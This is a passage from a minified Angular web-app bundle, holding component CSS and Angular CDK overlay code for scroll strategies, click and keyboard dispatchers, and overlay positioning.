transparent}tr[_ngcontent-%COMP%]{border-top:hidden}td[_ngcontent-%COMP%]:focus{background-color:#ff0}td[_ngcontent-%COMP%]{border-top:hidden;overflow:hidden;text-align:center;text-overflow:ellipsis;white-space:nowrap}.pagination[_ngcontent-%COMP%]{position:absolute;bottom:3rem}.my-icon[_ngcontent-%COMP%]{font-size:2rem;margin-bottom:1rem}td[_ngcontent-%COMP%]{border-top:0px}.card[_ngcontent-%COMP%]{max-width:17rem;min-height:15rem!important}.all-card[_ngcontent-%COMP%]{display:flex;flex-direction:row;justify-content:flex-start}.card-body[_ngcontent-%COMP%]{position:relative}.card-left[_ngcontent-%COMP%]{justify-content:flex-start;font-size-adjust:inherit}.card-right[_ngcontent-%COMP%]{display:flex;flex-direction:column;height:100%;justify-content:flex-end}.my-mark[_ngcontent-%COMP%]{position:absolute;top:0;right:0;font-size:.8rem;font-weight:bold}.my-alert[_ngcontent-%COMP%]{padding:.5rem}.my-btn[_ngcontent-%COMP%]{width:4rem}.center-card-right[_ngcontent-%COMP%]{display:flex;flex-direction:row;justify-content:center;width:100%}.my-btn-used[_ngcontent-%COMP%]{margin-top:.5rem}.number-of-cards[_ngcontent-%COMP%]{display:flex;justify-content:center;margin-bottom:1rem}body[_ngcontent-%COMP%]{background-color:#eee;font-family:"Roboto",sans-serif}.main[_ngcontent-%COMP%]{border-collapse:separate!important;border-spacing:0 11px!important}tr[_ngcontent-%COMP%]{border:1px solid #eee}.head[_ngcontent-%COMP%] th[_ngcontent-%COMP%]{font-weight:500;text-align:center}tr[_ngcontent-%COMP%]:nth-child(3){border:solid thin}.form-check-input[_ngcontent-%COMP%]:focus{border-color:#8bbafe;outline:0;box-shadow:none}.btn[_ngcontent-%COMP%]{height:27px;line-height:11px;color:#fff}.form-check-input[_ngcontent-%COMP%]{width:1.15em;height:1.15em;margin-top:3px}.btn[_ngcontent-%COMP%]:focus{color:#fff;box-shadow:none!important}.order-color[_ngcontent-%COMP%]{color:#00f}']}),t})();function ET(t,e,n,r,i,o,s){try{var a=t[o](s),c=a.value}catch(l){return void n(l)}a.done?e(c):Promise.resolve(c).then(r,i)}function TT(t){return function(){var e=this,n=arguments;return new Promise(function(r,i){var o=t.apply(e,n);function s(t){ET(o,r,i,s,a,"next",t)}function a(t){ET(o,r,i,s,a,"throw",t)}s(void 0)})}}const IT=Fw();class kT{constructor(t,e){this._viewportRuler=t,this._previousHTMLStyles={top:"",left:""},this._isEnabled=!1,this._document=e}attach(){}enable(){if(this._canBeEnabled()){const t=this._document.documentElement;this._previousScrollPosition=this._viewportRuler.getViewportScrollPosition(),this._previousHTMLStyles.left=t.style.left||"",this._previousHTMLStyles.top=t.style.top||"",t.style.left=Iw(-this._previousScrollPosition.left),t.style.top=Iw(-this._previousScrollPosition.top),t.classList.add("cdk-global-scrollblock"),this._isEnabled=!0}}disable(){if(this._isEnabled){const t=this._document.documentElement,e=t.style,n=this._document.body.style,r=e.scrollBehavior||"",i=n.scrollBehavior||"";this._isEnabled=!1,e.left=this._previousHTMLStyles.left,e.top=this._previousHTMLStyles.top,t.classList.remove("cdk-global-scrollblock"),IT&&(e.scrollBehavior=n.scrollBehavior="auto"),window.scroll(this._previousScrollPosition.left,this._previousScrollPosition.top),IT&&(e.scrollBehavior=r,n.scrollBehavior=i)}}_canBeEnabled(){if(this._document.documentElement.classList.contains("cdk-global-scrollblock")||this._isEnabled)return!1;const t=this._document.body,e=this._viewportRuler.getViewportSize();return t.scrollHeight>e.height||t.scrollWidth>e.width}}class AT{constructor(t,e,n,r){this._scrollDispatcher=t,this._ngZone=e,this._viewportRuler=n,this._config=r,this._scrollSubscription=null,this._detach=()=>{this.disable(),this._overlayRef.hasAttached()&&this._ngZone.run(()=>this._overlayRef.detach())}}attach(t){this._overlayRef=t}enable(){if(this._scrollSubscription)return;const t=this._scrollDispatcher.scrolled(0);this._config&&this._config.threshold&&this._config.threshold>1?(this._initialScrollPosition=this._viewportRuler.getViewportScrollPosition().top,this._scrollSubscription=t.subscribe(()=>{const t=this._viewportRuler.getViewportScrollPosition().top;Math.abs(t-this._initialScrollPosition)>this._config.threshold?this._detach():this._overlayRef.updatePosition()})):this._scrollSubscription=t.subscribe(this._detach)}disable(){this._scrollSubscription&&(this._scrollSubscription.unsubscribe(),this._scrollSubscription=null)}detach(){this.disable(),this._overlayRef=null}}class DT{enable(){}disable(){}attach(){}}function NT(t,e){return e.some(e=>t.bottom<e.top||t.top>e.bottom||t.right<e.left||t.left>e.right)}function RT(t,e){return e.some(e=>t.top<e.top||t.bottom>e.bottom||t.left<e.left||t.right>e.right)}class LT{constructor(t,e,n,r){this._scrollDispatcher=t,this._viewportRuler=e,this._ngZone=n,this._config=r,this._scrollSubscription=null}attach(t){this._overlayRef=t}enable(){this._scrollSubscription||(this._scrollSubscription=this._scrollDispatcher.scrolled(this._config?this._config.scrollThrottle:0).subscribe(()=>{if(this._overlayRef.updatePosition(),this._config&&this._config.autoClose){const t=this._overlayRef.overlayElement.getBoundingClientRect(),{width:e,height:n}=this._viewportRuler.getViewportSize();NT(t,[{width:e,height:n,bottom:n,right:e,top:0,left:0}])&&(this.disable(),this._ngZone.run(()=>this._overlayRef.detach()))}}))}disable(){this._scrollSubscription&&(this._scrollSubscription.unsubscribe(),this._scrollSubscription=null)}detach(){this.disable(),this._overlayRef=null}}let jT=(()=>{class t{constructor(t,e,n,r){this._scrollDispatcher=t,this._viewportRuler=e,this._ngZone=n,this.noop=()=>new DT,this.close=t=>new AT(this._scrollDispatcher,this._ngZone,this._viewportRuler,t),this.block=()=>new kT(this._viewportRuler,this._document),this.reposition=t=>new LT(this._scrollDispatcher,this._viewportRuler,this._ngZone,t),this._document=r}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(BM),r.\u0275\u0275inject(HM),r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(s))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(BM),r.\u0275\u0275inject(HM),r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(s))},token:t,providedIn:"root"}),t})();class FT{constructor(t){if(this.scrollStrategy=new DT,this.panelClass="",this.hasBackdrop=!1,this.backdropClass="cdk-overlay-dark-backdrop",this.disposeOnNavigation=!1,t){const e=Object.keys(t);for(const n of e)void 0!==t[n]&&(this[n]=t[n])}}}class VT{constructor(t,e,n,r,i){this.offsetX=n,this.offsetY=r,this.panelClass=i,this.originX=t.originX,this.originY=t.originY,this.overlayX=e.overlayX,this.overlayY=e.overlayY}}class BT{constructor(t,e){this.connectionPair=t,this.scrollableViewProperties=e}}let HT=(()=>{class t{constructor(t){this._attachedOverlays=[],this._document=t}ngOnDestroy(){this.detach()}add(t){this.remove(t),this._attachedOverlays.push(t)}remove(t){const e=this._attachedOverlays.indexOf(t);e>-1&&this._attachedOverlays.splice(e,1),0===this._attachedOverlays.length&&this.detach()}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(s))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(s))},token:t,providedIn:"root"}),t})(),zT=(()=>{class t extends HT{constructor(t){super(t),this._keydownListener=t=>{const e=this._attachedOverlays;for(let n=e.length-1;n>-1;n--)if(e[n]._keydownEvents.observers.length>0){e[n]._keydownEvents.next(t);break}}}add(t){super.add(t),this._isAttached||(this._document.body.addEventListener("keydown",this._keydownListener),this._isAttached=!0)}detach(){this._isAttached&&(this._document.body.removeEventListener("keydown",this._keydownListener),this._isAttached=!1)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(s))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(s))},token:t,providedIn:"root"}),t})(),GT=(()=>{class t extends HT{constructor(t,e){super(t),this._platform=e,this._cursorStyleIsSet=!1,this._pointerDownListener=t=>{this._pointerDownEventTarget=Bw(t)},this._clickListener=t=>{const e=Bw(t),n="click"===t.type&&this._pointerDownEventTarget?this._pointerDownEventTarget:e;this._pointerDownEventTarget=null;const r=this._attachedOverlays.slice();for(let i=r.length-1;i>-1;i--){const o=r[i];if(!(o._outsidePointerEvents.observers.length<1)&&o.hasAttached()){if(o.overlayElement.contains(e)||o.overlayElement.contains(n))break;o._outsidePointerEvents.next(t)}}}}add(t){if(super.add(t),!this._isAttached){const t=this._document.body;t.addEventListener("pointerdown",this._pointerDownListener,!0),t.addEventListener("click",this._clickListener,!0),t.addEventListener("auxclick",this._clickListener,!0),t.addEventListener("contextmenu",this._clickListener,!0),this._platform.IOS&&!this._cursorStyleIsSet&&(this._cursorOriginalValue=t.style.cursor,t.style.cursor="pointer",this._cursorStyleIsSet=!0),this._isAttached=!0}}detach(){if(this._isAttached){const t=this._document.body;t.removeEventListener("pointerdown",this._pointerDownListener,!0),t.removeEventListener("click",this._clickListener,!0),t.removeEventListener("auxclick",this._clickListener,!0),t.removeEventListener("contextmenu",this._clickListener,!0),this._platform.IOS&&this._cursorStyleIsSet&&(t.style.cursor=this._cursorOriginalValue,this._cursorStyleIsSet=!1),this._isAttached=!1}}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(s),r.\u0275\u0275inject(Rw))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(s),r.\u0275\u0275inject(Rw))},token:t,providedIn:"root"}),t})(),UT=(()=>{class t{constructor(t,e){this._platform=e,this._document=t}ngOnDestroy(){const t=this._containerElement;t&&t.parentNode&&t.parentNode.removeChild(t)}getContainerElement(){return this._containerElement||this._createContainer(),this._containerElement}_createContainer(){const t="cdk-overlay-container";if(this._platform.isBrowser||Hw()){const e=this._document.querySelectorAll(`.${t}[platform="server"], .${t}[platform="test"]`);for(let t=0;t<e.length;t++)e[t].parentNode.removeChild(e[t])}const e=this._document.createElement("div");e.classList.add(t),Hw()?e.setAttribute("platform","test"):this._platform.isBrowser||e.setAttribute("platform","server"),this._document.body.appendChild(e),this._containerElement=e}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(s),r.\u0275\u0275inject(Rw))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(s),r.\u0275\u0275inject(Rw))},token:t,providedIn:"root"}),t})();class qT{constructor(t,e,n,r,i,o,s,a,c){this._portalOutlet=t,this._host=e,this._pane=n,this._config=r,this._ngZone=i,this._keyboardDispatcher=o,this._document=s,this._location=a,this._outsideClickDispatcher=c,this._backdropElement=null,this._backdropClick=new We.xQ,this._attachments=new We.xQ,this._detachments=new We.xQ,this._locationChanges=Hn.w.EMPTY,this._backdropClickHandler=t=>this._backdropClick.next(t),this._keydownEvents=new We.xQ,this._outsidePointerEvents=new We.xQ,r.scrollStrategy&&(this._scrollStrategy=r.scrollStrategy,this._scrollStrategy.attach(this)),this._positionStrategy=r.positionStrategy}get overlayElement(){return this._pane}get backdropElement(){return this._backdropElement}get hostElement(){return this._host}attach(t){let e=this._portalOutlet.attach(t);return!this._host.parentElement&&this._previousHostParent&&this._previousHostParent.appendChild(this._host),this._positionStrategy&&this._positionStrategy.attach(this),this._updateStackingOrder(),this._updateElementSize(),this._updateElementDirection(),this._scrollStrategy&&this._scrollStrategy.enable(),this._ngZone.onStable.pipe(yn(1)).subscribe(()=>{this.hasAttached()&&this.updatePosition()}),this._togglePointerEvents(!0),this._config.hasBackdrop&&this._attachBackdrop(),this._config.panelClass&&this._toggleClasses(this._pane,this._config.panelClass,!0),this._attachments.next(),this._keyboardDispatcher.add(this),this._config.disposeOnNavigation&&(this._locationChanges=this._location.subscribe(()=>this.dispose())),this._outsideClickDispatcher.add(this),e}detach(){if(!this.hasAttached())return;this.detachBackdrop(),this._togglePointerEvents(!1),this._positionStrategy&&this._positionStrategy.detach&&this._positionStrategy.detach(),this._scrollStrategy&&this._scrollStrategy.disable();const t=this._portalOutlet.detach();return this._detachments.next(),this._keyboardDispatcher.remove(this),this._detachContentWhenStable(),this._locationChanges.unsubscribe(),this._outsideClickDispatcher.remove(this),t}dispose(){const t=this.hasAttached();this._positionStrategy&&this._positionStrategy.dispose(),this._disposeScrollStrategy(),this._disposeBackdrop(this._backdropElement),this._locationChanges.unsubscribe(),this._keyboardDispatcher.remove(this),this._portalOutlet.dispose(),this._attachments.complete(),this._backdropClick.complete(),this._keydownEvents.complete(),this._outsidePointerEvents.complete(),this._outsideClickDispatcher.remove(this),this._host&&this._host.parentNode&&(this._host.parentNode.removeChild(this._host),this._host=null),this._previousHostParent=this._pane=null,t&&this._detachments.next(),this._detachments.complete()}hasAttached(){return this._portalOutlet.hasAttached()}backdropClick(){return this._backdropClick}attachments(){return this._attachments}detachments(){return this._detachments}keydownEvents(){return this._keydownEvents}outsidePointerEvents(){return this._outsidePointerEvents}getConfig(){return this._config}updatePosition(){this._positionStrategy&&this._positionStrategy.apply()}updatePositionStrategy(t){t!==this._positionStrategy&&(this._positionStrategy&&this._positionStrategy.dispose(),this._positionStrategy=t,this.hasAttached()&&(t.attach(this),this.updatePosition()))}updateSize(t){this._config=Object.assign(Object.assign({},this._config),t),this._updateElementSize()}setDirection(t){this._config=Object.assign(Object.assign({},this._config),{direction:t}),this._updateElementDirection()}addPanelClass(t){this._pane&&this._toggleClasses(this._pane,t,!0)}removePanelClass(t){this._pane&&this._toggleClasses(this._pane,t,!1)}getDirection(){const t=this._config.direction;return t?"string"==typeof t?t:t.value:"ltr"}updateScrollStrategy(t){t!==this._scrollStrategy&&(this._disposeScrollStrategy(),this._scrollStrategy=t,this.hasAttached()&&(t.attach(this),t.enable()))}_updateElementDirection(){this._host.setAttribute("dir",this.getDirection())}_updateElementSize(){if(!this._pane)return;const t=this._pane.style;t.width=Iw(this._config.width),t.height=Iw(this._config.height),t.minWidth=Iw(this._config.minWidth),t.minHeight=Iw(this._config.minHeight),t.maxWidth=Iw(this._config.maxWidth),t.maxHeight=Iw(this._config.maxHeight)}_togglePointerEvents(t){this._pane.style.pointerEvents=t?"":"none"}_attachBackdrop(){const t="cdk-overlay-backdrop-showing";this._backdropElement=this._document.createElement("div"),this._backdropElement.classList.add("cdk-overlay-backdrop"),this._config.backdropClass&&this._toggleClasses(this._backdropElement,this._config.backdropClass,!0),this._host.parentElement.insertBefore(this._backdropElement,this._host),this._backdropElement.addEventListener("click",this._backdropClickHandler),"undefined"!=typeof requestAnimationFrame?this._ngZone.runOutsideAngular(()=>{requestAnimationFrame(()=>{this._backdropElement&&this._backdropElement.classList.add(t)})}):this._backdropElement.classList.add(t)}_updateStackingOrder(){this._host.nextSibling&&this._host.parentNode.appendChild(this._host)}detachBackdrop(){const t=this._backdropElement;if(!t)return;let e;const n=()=>{t&&(t.removeEventListener("click",this._backdropClickHandler),t.removeEventListener("transitionend",n),this._disposeBackdrop(t)),this._config.backdropClass&&this._toggleClasses(t,this._config.backdropClass,!1),clearTimeout(e)};t.classList.remove("cdk-overlay-backdrop-showing"),this._ngZone.runOutsideAngular(()=>{t.addEventListener("transitionend",n)}),t.style.pointerEvents="none",e=this._ngZone.runOutsideAngular(()=>setTimeout(n,500))}_toggleClasses(t,e,n){const r=t.classList;Tw(e).forEach(t=>{t&&(n?r.add(t):r.remove(t))})}_detachContentWhenStable(){this._ngZone.runOutsideAngular(()=>{const t=this._ngZone.onStable.pipe(Pw((0,nw.T)(this._attachments,this._detachments))).subscribe(()=>{(!this._pane||!this._host||0===this._pane.children.length)&&(this._pane&&this._config.panelClass&&this._toggleClasses(this._pane,this._config.panelClass,!1),this._host&&this._host.parentElement&&(this._previousHostParent=this._host.parentElement,this._previousHostParent.removeChild(this._host)),t.unsubscribe())})})}_disposeScrollStrategy(){const t=this._scrollStrategy;t&&(t.disable(),t.detach&&t.detach())}_disposeBackdrop(t){t&&(t.parentNode&&t.parentNode.removeChild(t),this._backdropElement===t&&(this._backdropElement=null))}}const WT="cdk-overlay-connected-position-bounding-box",KT=/([A-Za-z%]+)$/;class $T{constructor(t,e,n,r,i){this._viewportRuler=e,this._document=n,this._platform=r,this._overlayContainer=i,this._lastBoundingBoxSize={width:0,height:0},this._isPushed=!1,this._canPush=!0,this._growAfterOpen=!1,this._hasFlexibleDimensions=!0,this._positionLocked=!1,this._viewportMargin=0,this._scrollables=[],this._preferredPositions=[],this._positionChanges=new We.xQ,this._resizeSubscription=Hn.w.EMPTY,this._offsetX=0,this._offsetY=0,this._appliedPanelClasses=[],this.positionChanges=this._positionChanges,this.setOrigin(t)}get positions(){return this._preferredPositions}attach(t){this._validatePositions(),t.hostElement.classList.add(WT),this._overlayRef=t,this._boundingBox=t.hostElement,this._pane=t.overlayElement,this._isDisposed=!1,this._isInitialRender=!0,this._lastPosition=null,this._resizeSubscription.unsubscribe(),this._resizeSubscription=this._viewportRuler.change().subscribe(()=>{this._isInitialRender=!0,this.apply()})}apply(){if(this._isDisposed||!this._platform.isBrowser)return;if(!this._isInitialRender&&this._positionLocked&&this._lastPosition)return void this.reapplyLastPosition();this._clearPanelClasses(),this._resetOverlayElementStyles(),this._resetBoundingBoxStyles(),this._viewportRect=this._getNarrowedViewportRect(),this._originRect=this._getOriginRect(),this._overlayRect=this._pane.getBoundingClientRect();const t=this._originRect,e=this._overlayRect,n=this._viewportRect,r=[];let i;for(let o of this._preferredPositions){let s=this._getOriginPoint(t,o),a=this._getOverlayPoint(s,e,o),c=this._getOverlayFit(a,e,n,o);if(c.isCompletelyWithinViewport)return this._isPushed=!1,void this._applyPosition(o,s);this._canFitWithFlexibleDimensions(c,a,n)?r.push({position:o,origin:s,overlayRect:e,boundingBoxRect:this._calculateBoundingBoxRect(s,o)}):(!i||i.overlayFit.visibleArea<c.visibleArea)&&(i={overlayFit:c,overlayPoint:a,originPoint:s,position:o,overlayRect:e})}if(r.length){let t=null,e=-1;for(const n of r){const r=n.boundingBoxRect.width*n.boundingBoxRect.height*(n.position.weight||1);r>e&&(e=r,t=n)}return this._isPushed=!1,void this._applyPosition(t.position,t.origin)}if(this._canPush)return this._isPushed=!0,void this._applyPosition(i.position,i.originPoint);this._applyPosition(i.position,i.originPoint)}detach(){this._clearPanelClasses(),this._lastPosition=null,this._previousPushAmount=null,this._resizeSubscription.unsubscribe()}dispose(){this._isDisposed||(this._boundingBox&&QT(this._boundingBox.style,{top:"",left:"",right:"",bottom:"",height:"",width:"",alignItems:"",justifyContent:""}),this._pane&&this._resetOverlayElementStyles(),this._overlayRef&&this._overlayRef.hostElement.classList.remove(WT),this.detach(),this._positionChanges.complete(),this._overlayRef=this._boundingBox=null,this._isDisposed=!0)}reapplyLastPosition(){if(!this._isDisposed&&(!this._platform||this._platform.isBrowser)){this._originRect=this._getOriginRect(),this._overlayRect=this._pane.getBoundingClientRect(),this._viewportRect=this._getNarrowedViewportRect();const t=this._lastPosition||this._preferredPositions[0],e=this._getOriginPoint(this._originRect,t);this._applyPosition(t,e)}}withScrollableContainers(t){return this._scrollables=t,this}withPositions(t){return this._preferredPositions=t,-1===t.indexOf(this._lastPosition)&&(this._lastPosition=null),this._validatePositions(),this}withViewportMargin(t){return this._viewportMargin=t,this}withFlexibleDimensions(t=!0){return this._hasFlexibleDimensions=t,this}withGrowAfterOpen(t=!0){return this._growAfterOpen=t,this}withPush(t=!0){return this._canPush=t,this}withLockedPosition(t=!0){return this._positionLocked=t,this}setOrigin(t){return this._origin=t,this}withDefaultOffsetX(t){return this._offsetX=t,this}withDefaultOffsetY(t){return this._offsetY=t,this}withTransformOriginOn(t){return this._transformOriginSelector=t,this}_getOriginPoint(t,e){let n,r;if("center"==e.originX)n=t.left+t.width/2;else{const r=this._isRtl()?t.right:t.left,i=this._isRtl()?t.left:t.right;n="start"==e.originX?r:i}return r="center"==e.originY?t.top+t.height/2:"top"==e.originY?t.top:t.bottom,{x:n,y:r}}_getOverlayPoint(t,e,n){let r,i;return r="center"==n.overlayX?-e.width/2:"start"===n.overlayX?this._isRtl()?-e.width:0:this._isRtl()?0:-e.width,i="center"==n.overlayY?-e.height/2:"top"==n.overlayY?0:-e.height,{x:t.x+r,y:t.y+i}}_getOverlayFit(t,e,n,r){const i=ZT(e);let{x:o,y:s}=t,a=this._getOffset(r,"x"),c=this._getOffset(r,"y");a&&(o+=a),c&&(s+=c);let l=0-s,u=s+i.height-n.height,d=this._subtractOverflows(i.width,0-o,o+i.width-n.width),h=this._subtractOverflows(i.height,l,u),p=d*h;return{visibleArea:p,isCompletelyWithinViewport:i.width*i.height===p,fitsInViewportVertically:h===i.height,fitsInViewportHorizontally:d==i.width}}_canFitWithFlexibleDimensions(t,e,n){if(this._hasFlexibleDimensions){const r=n.bottom-e.y,i=n.right-e.x,o=XT(this._overlayRef.getConfig().minHeight),s=XT(this._overlayRef.getConfig().minWidth),a=t.fitsInViewportHorizontally||null!=s&&s<=i;return(t.fitsInViewportVertically||null!=o&&o<=r)&&a}return!1}_pushOverlayOnScreen(t,e,n){if(this._previousPushAmount&&this._positionLocked)return{x:t.x+this._previousPushAmount.x,y:t.y+this._previousPushAmount.y};const r=ZT(e),i=this._viewportRect,o=Math.max(t.x+r.width-i.width,0),s=Math.max(t.y+r.height-i.height,0),a=Math.max(i.top-n.top-t.y,0),c=Math.max(i.left-n.left-t.x,0);let l=0,u=0;return l=r.width<=i.width?c||-o:t.x<this._viewportMargin?i.left-n.left-t.x:0,u=r.height<=i.height?a||-s:t.y<this._viewportMargin?i.top-n.top-t.y:0,this._previousPushAmount={x:l,y:u},{x:t.x+l,y:t.y+u}}_applyPosition(t,e){if(this._setTransformOrigin(t),this._setOverlayElementStyles(e,t),this._setBoundingBoxStyles(e,t),t.panelClass&&this._addPanelClasses(t.panelClass),this._lastPosition=t,this._positionChanges.observers.length){const e=this._getScrollVisibility(),n=new BT(t,e);this._positionChanges.next(n)}this._isInitialRender=!1}_setTransformOrigin(t){if(!this._transformOriginSelector)return;const e=this._boundingBox.querySelectorAll(this._transformOriginSelector);let n,r=t.overlayY;n="center"===t.overlayX?"center":this._isRtl()?"start"===t.overlayX?"right":"left":"start"===t.overlayX?"left":"right";for(let i=0;i<e.length;i++)e[i].style.transformOrigin=`${n} ${r}`}_calculateBoundingBoxRect(t,e){const n=this._viewportRect,r=this._isRtl();let i,o,s,a,c,l;if("top"===e.overlayY)o=t.y,i=n.height-o+this._viewportMargin;else if("bottom"===e.overlayY)s=n.height-t.y+2*this._viewportMargin,i=n.height-s+this._viewportMargin;else{const e=Math.min(n.bottom-t.y+n.top,t.y),r=this._lastBoundingBoxSize.height;i=2*e,o=t.y-e,i>r&&!this._isInitialRender&&!this._growAfterOpen&&(o=t.y-r/2)}if("end"===e.overlayX&&!r||"start"===e.overlayX&&r)l=n.width-t.x+this._viewportMargin,a=t.x-this._viewportMargin;else if("start"===e.overlayX&&!r||"end"===e.overlayX&&r)c=t.x,a=n.right-t.x;else{const e=Math.min(n.right-t.x+n.left,t.x),r=this._lastBoundingBoxSize.width;a=2*e,c=t.x-e,a>r&&!this._isInitialRender&&!this._growAfterOpen&&(c=t.x-r/2)}return{top:o,left:c,bottom:s,right:l,width:a,height:i}}_setBoundingBoxStyles(t,e){const n=this._calculateBoundingBoxRect(t,e);!this._isInitialRender&&!this._growAfterOpen&&(n.height=Math.min(n.height,this._lastBoundingBoxSize.height),n.width=Math.min(n.width,this._lastBoundingBoxSize.width));const r={};if(this._hasExactPosition())r.top=r.left="0",r.bottom=r.right=r.maxHeight=r.maxWidth="",r.width=r.height="100%";else{const t=this._overlayRef.getConfig().maxHeight,i=this._overlayRef.getConfig().maxWidth;r.height=Iw(n.height),r.top=Iw(n.top),r.bottom=Iw(n.bottom),r.width=Iw(n.width),r.left=Iw(n.left),r.right=Iw(n.right),r.alignItems="center"===e.overlayX?"center":"end"===e.overlayX?"flex-end":"flex-start",r.justifyContent="center"===e.overlayY?"center":"bottom"===e.overlayY?"flex-end":"flex-start",t&&(r.maxHeight=Iw(t)),i&&(r.maxWidth=Iw(i))}this._lastBoundingBoxSize=n,QT(this._boundingBox.style,r)}_resetBoundingBoxStyles(){QT(this._boundingBox.style,{top:"0",left:"0",right:"0",bottom:"0",height:"",width:"",alignItems:"",justifyContent:""})}_resetOverlayElementStyles(){QT(this._pane.style,{top:"",left:"",bottom:"",right:"",position:"",transform:""})}_setOverlayElementStyles(t,e){const n={},r=this._hasExactPosition(),i=this._hasFlexibleDimensions,o=this._overlayRef.getConfig();if(r){const r=this._viewportRuler.getViewportScrollPosition();QT(n,this._getExactOverlayY(e,t,r)),QT(n,this._getExactOverlayX(e,t,r))}else n.position="static";let s="",a=this._getOffset(e,"x"),c=this._getOffset(e,"y");a&&(s+=`translateX(${a}px) `),c&&(s+=`translateY(${c}px)`),n.transform=s.trim(),o.maxHeight&&(r?n.maxHeight=Iw(o.maxHeight):i&&(n.maxHeight="")),o.maxWidth&&(r?n.maxWidth=Iw(o.maxWidth):i&&(n.maxWidth="")),QT(this._pane.style,n)}_getExactOverlayY(t,e,n){let r={top:"",bottom:""},i=this._getOverlayPoint(e,this._overlayRect,t);this._isPushed&&(i=this._pushOverlayOnScreen(i,this._overlayRect,n));let o=this._overlayContainer.getContainerElement().getBoundingClientRect().top;return i.y-=o,"bottom"===t.overlayY?r.bottom=this._document.documentElement.clientHeight-(i.y+this._overlayRect.height)+"px":r.top=Iw(i.y),r}_getExactOverlayX(t,e,n){let r,i={left:"",right:""},o=this._getOverlayPoint(e,this._overlayRect,t);return this._isPushed&&(o=this._pushOverlayOnScreen(o,this._overlayRect,n)),r=this._isRtl()?"end"===t.overlayX?"left":"right":"end"===t.overlayX?"right":"left","right"===r?i.right=this._document.documentElement.clientWidth-(o.x+this._overlayRect.width)+"px":i.left=Iw(o.x),i}_getScrollVisibility(){const t=this._getOriginRect(),e=this._pane.getBoundingClientRect(),n=this._scrollables.map(t=>t.getElementRef().nativeElement.getBoundingClientRect());return{isOriginClipped:RT(t,n),isOriginOutsideView:NT(t,n),isOverlayClipped:RT(e,n),isOverlayOutsideView:NT(e,n)}}_subtractOverflows(t,...e){return e.reduce((t,e)=>t-Math.max(e,0),t)}_getNarrowedViewportRect(){const t=this._document.documentElement.clientWidth,e=this._document.documentElement.clientHeight,n=this._viewportRuler.getViewportScrollPosition();return{top:n.top+this._viewportMargin,left:n.left+this._viewportMargin,right:n.left+t-this._viewportMargin,bottom:n.top+e-this._viewportMargin,width:t-2*this._viewportMargin,height:e-2*this._viewportMargin}}_isRtl(){return"rtl"===this._overlayRef.getDirection()}_hasExactPosition(){return!this._hasFlexibleDimensions||this._isPushed}_getOffset(t,e){return"x"===e?null==t.offsetX?this._offsetX:t.offsetX:null==t.offsetY?this._offsetY:t.offsetY}_validatePositions(){}_addPanelClasses(t){this._pane&&Tw(t).forEach(t=>{""!==t&&-1===this._appliedPanelClasses.indexOf(t)&&(this._appliedPanelClasses.push(t),this._pane.classList.add(t))})}_clearPanelClasses(){this._pane&&(this._appliedPanelClasses.forEach(t=>{this._pane.classList.remove(t)}),this._appliedPanelClasses=[])}_getOriginRect(){const t=this._origin;if(t instanceof r.ElementRef)return t.nativeElement.getBoundingClientRect();if(t instanceof Element)return t.getBoundingClientRect();const e=t.width||0,n=t.height||0;return{top:t.y,bottom:t.y+n,left:t.x,right:t.x+e,height:n,width:e}}}function QT(t,e){for(let n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t}function XT(t){if("number"!=typeof t&&null!=t){const[e,n]=t.split(KT);return n&&"px"!==n?null:parseFloat(e)}return t||null}function ZT(t){return{top:Math.floor(t.top),right:Math.floor(t.right),bottom:Math.floor(t.bottom),left:Math.floor(t.left),width:Math.floor(t.width),height:Math.floor(t.height)}}class YT{constructor(t,e,n,r,i,o,s){this._preferredPositions=[],this._positionStrategy=new $T(n,r,i,o,s).withFlexibleDimensions(!1).withPush(!1).withViewportMargin(0),this.withFallbackPosition(t,e),this.onPositionChange=this._positionStrategy.positionChanges}get positions(){return this._preferredPositions}attach(t){this._overlayRef=t,this._positionStrategy.attach(t),this._direction&&(t.setDirection(this._direction),this._direction=null)}dispose(){this._positionStrategy.dispose()}detach(){this._positionStrategy.detach()}apply(){this._positionStrategy.apply()}recalculateLastPosition(){this._positionStrategy.reapplyLastPosition()}withScrollableContainers(t){this._positionStrategy.withScrollableContainers(t)}withFallbackPosition(t,e,n,r){const i=new VT(t,e,n,r);return this._preferredPositions.push(i),this._positionStrategy.withPositions(this._preferredPositions),this}withDirection(t){return this._overlayRef?this._overlayRef.setDirection(t):this._direction=t,this}withOffsetX(t){return this._positionStrategy.withDefaultOffsetX(t),this}withOffsetY(t){return this._positionStrategy.withDefaultOffsetY(t),this}withLockedPosition(t){return this._positionStrategy.withLockedPosition(t),this}withPositions(t){return this._preferredPositions=t.slice(),this._positionStrategy.withPositions(this._preferredPositions),this}setOrigin(t){return this._positionStrategy.setOrigin(t),this}}const JT="cdk-global-overlay-wrapper";class tI{constructor(){this._cssPosition="static",this._topOffset="",this._bottomOffset="",this._leftOffset="",this._rightOffset="",this._alignItems="",this._justifyContent="",this._width="",this._height=""}attach(t){const e=t.getConfig();this._overlayRef=t,this._width&&!e.width&&t.updateSize({width:this._width}),this._height&&!e.height&&t.updateSize({height:this._height}),t.hostElement.classList.add(JT),this._isDisposed=!1}top(t=""){return this._bottomOffset="",this._topOffset=t,this._alignItems="flex-start",this}left(t=""){return this._rightOffset="",this._leftOffset=t,this._justifyContent="flex-start",this}bottom(t=""){return this._topOffset="",this._bottomOffset=t,this._alignItems="flex-end",this}right(t=""){return this._leftOffset="",this._rightOffset=t,this._justifyContent="flex-end",this}width(t=""){return this._overlayRef?this._overlayRef.updateSize({width:t}):this._width=t,this}height(t=""){return 